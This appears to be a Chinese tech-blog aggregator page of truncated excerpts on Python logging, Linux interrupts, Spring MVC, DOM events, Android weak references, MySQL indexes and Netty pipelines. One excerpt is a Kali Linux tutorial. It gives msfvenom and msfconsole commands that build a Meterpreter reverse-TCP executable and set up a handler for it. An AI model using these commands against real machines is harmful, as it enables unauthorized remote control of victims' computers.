handler

python——logging模块

纵饮孤独 提交于 2020-01-27 08:44:09
一 (简单应用) import logging logging.debug('debug message') logging.info('info message') logging.warning('warning message') logging.error('error message') logging.critical('critical message') 输出: WARNING:root:warning message ERROR:root:error message CRITICAL:root:critical message 可见,默认情况下 Python 的logging模块将日志打印到了标准输出中,且只显示了大于等于WARNING级别的日志,这说明默认的日志级别设置为WARNING(日志级别等级CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET),默认的日志格式为日志级别:Logger名称:用户输出消息。 二 灵活配置日志级别,日志格式,输出位置 import logging logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',

字符设备驱动(三)中断框架

那年仲夏 提交于 2020-01-27 07:53:57
目录 字符设备驱动(三)中断框架 引入 汇编处理 拷贝向量表 向量表宏解析 跳转函数 C函数处理 asm_do_IRQ __set_irq_handler s3c24xx_init_irq handle_edge_irq handle_IRQ_event desc->action 小结 流程 设置 irq_desc 数组 关键结构成员 完整框架图 流程一览 设置向量表 设置全局中断数组 设置用户action动作 title: 字符设备驱动(三)中断框架 tags: linux date: 2018-11-22 18:58:22 toc: true --- 字符设备驱动(三)中断框架 引入 裸机中断流程 外部触发 CPU 发生中断, 强制的跳到异常向量处 跳转到具体函数 保存被中断处的现场(各种寄存器的值)。 处理具体任务 恢复被中断的现场 LINUX流程 ARM 架构的 CPU 的异常向量基址可以是 0x0000 0000 ,也可以是 0xffff0000 ,这个地址并不代表实际的内存,是虚拟地址.当建立了虚拟地址与物理地址间的映射后,得将那些异常向量,即相当于把那些跳转指令复制拷贝到这个 0xffff0000 这个地址处去。 汇编处理 在 trap_init 中实现( start_kernel 中调用) // arch/arm/kernel/traps.c void __init

Spring MVC介绍

笑着哭i 提交于 2020-01-26 23:39:46
Spring MVC 1 什么是springMVC springMVC基于java实现的MVC的设计模式,通过把model,view,controller分离,将web层进行解耦,将复杂的逻辑清晰化,简化代码开发,方便开发人员之间的配合. [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rjgXi86v-1573720869970)(image/springmvc流程.jpg)] 用户向服务器发开请求,请求被SpringMVC 前端控制器 DispatcherServlet 捕获; DispatcherServlet收到请求调用HandlerMapping处理器映射器()。 DispatcherServlet 对请求 URL 进行解析,得到请求资源标识符(URI)。然后根据该 URI,调用 HandlerMapping 获得该 Handler 配置的所有相关的对象(包括 Handler 对象以及 Handler 对象对应 的拦截 器),最后以 HandlerExecutionChain 对象的形式返回; DispatcherServlet 根据获得的 Handler,选择一个合弁的 HandlerAdapter;(附注:如果成功获得 HandlerAdapter 后,此时将开始执行拦截器的 preHandler(true或者false) 方法) 提取

13.3 事件对象

为君一笑 提交于 2020-01-26 22:53:35
一、DOM 中的事件对象 event 对象会传入事件处理函数中 var btn = document . getElementById ( 'myBtn' ) ; btn . onclick = function ( event ) { console . log ( event . type ) ; } ; btn . addEventListener ( 'click' , function ( event ) { console . log ( event . type ) ; } , false ) ; 通过 HTML 特性指定时,event 对象保存在 event 变量中 <input type='button' value='click me' οnclick='alert(event.type)' / > 所有事件的 event 对象都包含以下属性和方法 属性/方法 说明 bubbles 表示事件是否冒泡 cancelable 表示是否可以取消事件的默认行为 currentTarget 事件处理程序正在处理事件的元素 defaultPrevented 是否调用了 preventDefault() detail 与事件相关的细节信息 eventPhase 调用事件处理程序的阶段:1.捕获阶段2.处于目标3.冒泡阶段 preventDefault() 取消事件的默认行为

Python之logging模块

空扰寡人 提交于 2020-01-26 20:34:49
什么是日志 日志是对软件执行时所发生事件的一种追踪方式。软件开发人员对他们的代码添加日志调用,借此来指示某事件的发生。一个事件通过一些包含变量数据的描述信息来描述(比如:每个事件发生时的数据都是不同的)。开发者还会区分事件的重要性,重要性也被称为 等级 或 严重性 。 什么时候使用日志 日志(logging)模块提供了一系列的函数(debug、info、warning、critical)来适应不同的应用场景。想要决定何时使用日志,请看下表,其中显示了对于每个通用任务集合来说最好的工具。 想要执行的任务 此任务最好的工具 对于命令行或程序的应用,结果显示在控制台 print() 在对程序的普通操作发生时提交事件报告(比如:状态监控和错误调查) logging.info() 函数(当有诊断目的需要详细输出信息时使用 logging.debug() 函数) 提出一个警告信息基于一个特殊的运行时事件 warnings.warn() 位于代码库中,该事件是可以避免的,需要修改客户端应用以消除告警。 logging.warning() 不需要修改客户端应用,但是该事件还是需要引起关注 对一个特殊的运行时事件报告错误 引发异常 报告错误而不引发异常(如在长时间运行中的服务端进程的错误处理) logging.error() , logging.exception() 或 logging

Android中的WeakReference 弱引用

≯℡__Kan透↙ 提交于 2020-01-26 16:28:23
WeakReference 弱引用 定义:弱引用,与强引用(我们常见的引用方式)相对;特点是:GC在回收时会忽略掉弱引用对象(忽略掉这种引用关系),即:就算弱引用指向了某个对象,但只要该对象没有被强引用指向,该对象也会被GC检查时回收掉。 强引用实例自然不会被GC回收! 如何引出弱引用?弱引用的实际用途是什么? 什么是内存泄漏?Java使用有向图机制,通过GC自动检查内存中的对象;如果GC发现一个或一组对象为不可达的状态,则将该对象从内存中回收。也就是说:一个对象不被任何引用所指向,则该对象会在被GC发现的时候回收。 可能导致内存泄漏的实例: Handler mHandler = new Handler() { @Override public void handleMessage(Message msg) { mImageView.setImageBitmap(mBitmap); }; }; 当使用内部类(或者匿名类)来创建Handler的时候,Handler对象会隐式地持有一个外部类的对象(通常是Activity)的引用(否则怎么可能通过Handler来操作Activity的View?)。而Handler通常会伴随着一个耗时的后台线程(比如:拉取网络图片);该后台线程在任务执行完毕后,通过消息机制通知Handler,然后Handler把图片更新到界面上

MySQL5.6之use_index_extensions优化

牧云@^-^@ 提交于 2020-01-26 12:54:55
InnoDB的二级索引(Secondary Index)除了存储索引列key值,还存储着主键值(而不是指向主键的指针)。为什么这样做?因为InnoDB是以聚集索引方式组织数据的存储,即主键值相邻的数据行紧凑的存储在一起(索引组织表)。当数据行移动或者发生页分裂的时候,可以减少大量的二级索引维护工作。InnoDB移动行时,无需更新二级索引。 CREATE TABLE t1 ( i1 INT NOT NULL DEFAULT 0, i2 INT NOT NULL DEFAULT 0, d DATE DEFAULT NULL, PRIMARY KEY (i1, i2), INDEX k_d (d) ) ENGINE = InnoDB; 数据表t1的schema设计如上面所示。二级索引k_d(d)的元组在InnoDB内部实际被扩展成(d,i1,i2),即包含主键值。因此在设计主键的时候,常见的一条设计原则是要求主键字段尽量简单(整型数值,自增),以避免二级索引过大。在MySQL5.6.9之前,优化器在决定是否使用一个索引或者怎样使用一个索引的时候,并不考虑索引中扩展的主键列这一部分。而从MySQL5.6.9开始,优化器开始考虑使用扩展的主键列,这样可以产生更高效的执行计划和更好的性能。 优化器可以把扩展的二级索引用于ref,range,index_merge索引访问、松散索引扫描

kali Linux局域网渗透之win10

Deadly 提交于 2020-01-26 06:01:28
kali机:192.168.198.134 win10:192.168.198.1 我们先来查看下自己的IP地址 接着我们使用fping来扫描一下局域网内的所有IP fping -g IP/24 -->扫描局域网内所有IP 攻击正式开始 1.我们先用msfvenom来生成一个木马文件,它将在root目录生成一个名叫shell.exe文件 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.198.134 lport=5555 -f exe R > /root/shell.exe LHOST -->本地的IP地址 LPORT -->反向连接到主机的端口 R> -->木马生成的保存输出路径 2.打开msfconsole,键入以下代码 msf > use exploit/multi/handler -->设置模块 msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp -->设置payload为反向tcp连接 msf exploit(multi/handler) > set lhost 192.168.198.134 -->设置本地的IP地址 msf exploit(multi/handler) > set lport 5555 --

watch监听(数组或者对象)

怎甘沉沦 提交于 2020-01-26 03:19:32
handler :监听数组或对象的属性时用到的方法 deep :深度监听,为了发现对象内部值的变化,可以在选项参数中指定 deep:true 。注意监听数组的变动不需要这么做。 immediate : 在选项参数中指定 immediate: true 将立即以表达式的当前值触发回调 tips : 只要bet中的属性发生变化(可被监测到的),便会执行handler函数;如果想监测具体的属性变化,如pokerHistory变化时,才执行handler函数,则可以利用计算属性computed做中间层。 1、普通的watch data() { return {   frontPoints: 0 } }, watch: { frontPoints(newValue, oldValue) {   console.log(newValue) } } 2、数组的watch data() { return {   winChips: new Array(11).fill(0) } }, watch: { winChips: {  handler(newValue, oldValue) {   for (let i = 0; i < newValue.length; i++) {   if (oldValue[i] != newValue[i]) {   console.log(newValue)  

Pipeline之Inbound事件传播

耗尽温柔 提交于 2020-01-25 21:45:32
ChannelHandler继承体系 ChannelHandler:所有逻辑处理器的抽象。 public interface ChannelHandler { // handler添加完成回调 void handlerAdded(ChannelHandlerContext ctx) throws Exception; // handler删除完成回调 void handlerRemoved(ChannelHandlerContext ctx) throws Exception; // 异常回调 @Deprecated void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception; // 指定handler为共享handler,可重复添加到pipeline @Inherited @Documented @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @interface Sharable { // no value } } ChannelInboundHandler:基于ChannelHandler,扩展了一些Inbound事件。 public interface ChannelInboundHandler